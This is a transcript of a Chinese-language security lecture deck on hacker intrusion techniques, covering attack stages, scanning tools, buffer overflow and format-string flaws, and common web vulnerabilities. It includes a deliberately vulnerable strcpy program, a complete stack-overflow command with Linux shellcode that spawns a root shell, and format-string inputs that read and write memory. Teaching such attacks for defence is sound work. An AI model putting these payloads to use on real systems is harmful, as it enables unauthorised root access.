1 / 79

師範大學 駭客入侵手法剖析

師範大學 駭客入侵手法剖析. 大綱. 前言 入侵過程簡介 系統程式弱點分析 Web 攻擊手法剖析 問題與討論. 關於我. OuTian <outian@mail.outian.net> 現任 敦陽科技 資安服務處 資安顧問 經歷 – 2007/2008/2009 台灣駭客年會講師、發表 0day 多次政府、金融、電信、教育、企業單位之滲透測試服務 資安事件處理與蒐證 資安設備規劃與建置 認證 – CEH (Certified Ethical Hacker). 前言. 聲明.

melina
Download Presentation

師範大學 駭客入侵手法剖析

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 師範大學駭客入侵手法剖析

  2. 大綱 • 前言 • 入侵過程簡介 • 系統程式弱點分析 • Web 攻擊手法剖析 • 問題與討論

  3. 關於我 • OuTian <outian@mail.outian.net> • 現任 敦陽科技資安服務處 資安顧問 • 經歷 – • 2007/2008/2009 台灣駭客年會講師、發表0day • 多次政府、金融、電信、教育、企業單位之滲透測試服務 • 資安事件處理與蒐證 • 資安設備規劃與建置 • 認證 – • CEH (Certified Ethical Hacker)

  4. 前言

  5. 聲明 • 本系列課程內容,僅用於瞭解攻擊手法以利進行防禦部署,若有任何學員以之進行非法活動,一切行為與本人及主辦單位無關,由學員自行負責。

  6. 入侵過程簡介

  7. 一般入侵過程 資訊收集 弱點探測 侵入系統 提升權限 收集資料 植入後門

  8. 資訊收集 • 主機搜尋 • ICMP、TCP scan • Zone Transfer • Google、Bing • 服務掃描 ( Port Scan ) • nmap、Superscan、amap、scanrand • FIN, Xmas , or Null scan • 網路架構探測 • traceroute、tcptraceroute、paratrace • 作業系統判斷 • xprobe、p0f、nmap • 由 TCP Fingerprint 辨識系統

  9. 弱點探測 • 人為判斷 • 服務弱點掃描工具 • Nessus OpenVAS • ISS Internet Scanner • Foundstone FoundScan • Dragonsoft Vulnerability Scanner • 網頁弱點掃描工具 • HP WebInspect • IBM AppScan • Acunetix Web Vulnerabilisy Scanner • Jsky • WebCruiser • skipfish

  10. 侵入系統 利用 Web 應用程式的漏洞 利用服務本身的弱點 Brute Force Attack Sniff Session Hijacking Man-in-the-Middle Social Engineering

  11. 提升權限 crack password vulnerable program/service.buffer overflow (stack/heap).format string.race condition.design error Kernel Exploit Brute Force Attack

  12. 收集資料 破解使用者密碼 修改登入頁面取得密碼 啟動 sniffer 竊聽密碼 "備份資料" 繼續尋找並攻擊內部網路中其他機器

  13. 植入後門 • 後門程式 • IRCbot • TCP proxy • 植入Rookit • 隱藏蹤跡及保留存取權限的工具"組“ • 修改log紀錄 • 置換系統工具 • 後門程式

  14. 系統程式弱點分析

  15. 常見系統程式弱點 • Buffer Overflow • Format String

  16. Buffer Overflow 簡介 • 最常見的 Internet 攻擊手法 • CERT (Computer Security incident Report Team) 中超過 50% 的 Security Advisory 屬於於此分類 • 著名案例 • Morris worm (1988): fingerd • 感染超過 6,000 部主機 • CodeRed (2001): MS-IIS server • 14 小時內,超過 300,000 部主機受感染 • SQL Slammer (2003): MS-SQL server • 10 分鐘內,超過 75,000 部主機受感染

  17. Buffer Overflow 常發生於 • 以 C 語言開發之各類 • kernel • 系統程式 • 應用程式 • 網路服務程式 • cgi 網頁應用程式 • 以 C 語言所開發之程式語言編譯器/直譯器 • php • perl • … etc

  18. Buffer Overflow 可以用來? • 改變應用程式執行過程 • 引發程式不可預期行為而遭關閉 • Denial Of Service • 注入 shell code 以執行任意指令 • 植入後門 • 提升權限 • 關閉服務 • ………etc

  19. Buffer Overflow 的分類 • 攻擊位置 • Local • 攻擊本機之應用程式 • Remote • 利用網路封包攻擊遠端之服務 • 攻擊方式 • Stack Overflow • 靜態配置的記憶體空間 • Heap Overflow • 程式執行階段動態配置的空間

  20. 聽個音樂也會被入侵?

  21. 什麼是 Buffer Overflow?(1) • 什麼是 Buffer ? • 電腦主記憶體裡之暫存區,用以儲存程式裡之靜態/動態資料 • 在程式中長得像這樣: • char buffer[15]; • Buffer 的種類 • 原始碼中靜態宣告 • 程式執行期間動態配置,利用 Stack 空間 malloc() • 什麼是Stack? • 電腦程式在執行期間所需要的一塊記憶體,由處理器支援其運作,遵循後進先出規則。

  22. 什麼是 Buffer Overflow?(2) • 什麼是Buffer Overflow? • 程式中在寫入Buffer的時候,超出預先配置的大小。 • 發生這種狀況的時候,有可能: • 沒事。 • 複寫到其他變數中的資料,使程式結果錯誤 • 複寫到其他變數的指標,發生存取錯誤。 • 複寫了返回位置,當副程式結束時當掉。

  23. 什麼是 Buffer Overflow?(3) • 令我們感興趣的狀況: • 動態變數(buffer)配置於堆疊區。 • 複製過長的資料會發生Buffer Overflow • 經由Buffer Overflow能夠改變程式的返回位置 • 堆疊區在系統記憶體中是可執行的 • 能夠在堆疊區插入一段程式碼,並改變原程式的流程,執行我們插入的程式碼。

  24. 什麼是 Buffer Overflow?(4) • 常發生於以下 C 語言函式中 • memcpy() • strcpy() • strcat() • sprintf() • vsprintf() • gets() • scanf()

  25. 什麼是 Buffer Overflow?(5) • 正常的 strcpy() 動作

  26. 什麼是 Buffer Overflow?(6) • Buffer Overflow 攻擊時

  27. Buffer Overflow (Stack)

  28. 觀察記憶體內容 • Windows • WinDbg • OllyDbg • UNIX • gdb • ddd • Evan's Debugger

  29. 有弱點的程式 • #include <stdio.h> • #include <stdlib.h> • #include <string.h> • int main(int argc, char *argv[] ) { • char name[256]; • if( argc == 1 ) { • printf("Usage: %s name\n", argv[0] ); • exit(0); • } • strcpy( name , argv[1] ); • printf("Hello %s !\n", name ); • }

  30. 執行時 • 輸入過長參數會導致Segmentation Fault

  31. 測試 buffer 大小 • ./bof `perl -e 'print "A"x268'` • 替換 x 後方數字直到產生 Segmentation Fault

  32. 使用 gdb 確認 ebp 遭覆蓋

  33. 找出 buffer 之起始位址 • 印出記憶體位址內容

  34. 進行 Buffer Overflow Attack ! • 填入buffer overflow的template – • [NOP] + [Shell Code] + [NOP] + [RET Addr] • [RET Addr]需依實際狀況調整 • ./bof `perl -e 'print "\x90"x208 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x90"x30 . "\x60\xf8\xff\xbf"

  35. 攻擊成功! • 利用setuid root之程式,進行Buffer Overflow執行/bin/sh後,跳出原程式進入shell,並取得root權限

  36. ASLR Implementation • Linux • > kernel 2.6.12 • kernel.randomize_va_space • Microsoft Windows • Windows Vista 64bits • Windows Server 2008 • OpenBSD • Mac OS • > 10.5 (Not Fully Implementing)

  37. 取得 stack pointer • #include <stdio.h> • unsigned long get_sp(void) { • __asm__("movl %esp, %eax"); • } • int main() { • printf("Stack pointer (ESP): 0x%x\n", get_sp() ); • return 0; • }

  38. kernel.randomize_va_space 不變 不斷改變 不變

  39. Exec Shield • Windows (DEP) • Windows XP • RedHat Linux • > Fedora Core 1 • > RHEL 3 update 3 • kernel.exec-shield • Solaris • > Solaris 9 • In /etc/system • Set noexec_user_stack=1 • Set noexec_user_stack_log=1

  40. kernel.exec-shield = 0 可執行

  41. kernel.exec-shield = 1 不可執行

  42. Format String 簡介 • Format String(格式化字串)用於C語言中之許多函式 • *printf( format string , variable list) • printf • fprintf • sprintf • vprintf • vfprintf • vsprintf • *scanf( format string , address list)

  43. Sample Code • Vulnerable #include <stdio.h> int main(int argc, char *argv[] ) { printf( argv[1] ); } • Safe #include <stdio.h> int main(int argc, char *argv[] ) { printf( “%s” , argv[1] ); }

  44. 著名案例 • Danger discovered in June 2000. • Examples: • wu-ftpd 2.* : remote root. • Linux rpc.statd: remote root • IRIX telnetd: remote root • BSD chpass: local root

  45. Exploit • Dumping arbitrary memory • ./fs '%08x.%08x.%08x.%08x|%s|' • Writing arbitrary memory • ./fs '%08x.%08x.%08x.%08x.%n'

  46. Overflow using Format String • char errmsg[512], outbuf[512]; • sprintf (errmsg, “Illegal command: %400s”, user); • sprintf( outbuf, errmsg ); • When user = “%500d <nops> <shellcode>” • Bypass “%400s” limitation. • Will ovreflow outbuf.

  47. Web攻擊手法剖析

  48. 常見 Web 應用程式弱點 (1) • 程式過濾不當 • SQL Injection • 竊取資料、入侵網站 • Cross Site Scripting • 利用網站弱點竊取其他用戶資料 • Arbitrary File Inclusion • 入侵網站 • Code/Command Injection • 入侵網站 • Directory Traversal • 瀏覽敏感資訊檔案 • Buffer Overflow • 入侵網站主機

  49. 常見 Web 應用程式弱點 (2) • 邏輯設計不當 • Cookie Poisoning • 變換身份、提升權限 • Parameter Tampering • 竄改參數,使應用程式出現不可預期反應 • Upload File Mis-Handling • 植入網站木馬 • Information Disclosure • 洩露網站資訊 • Error Handling • Weak Authentication • 脆弱的認證機制

More Related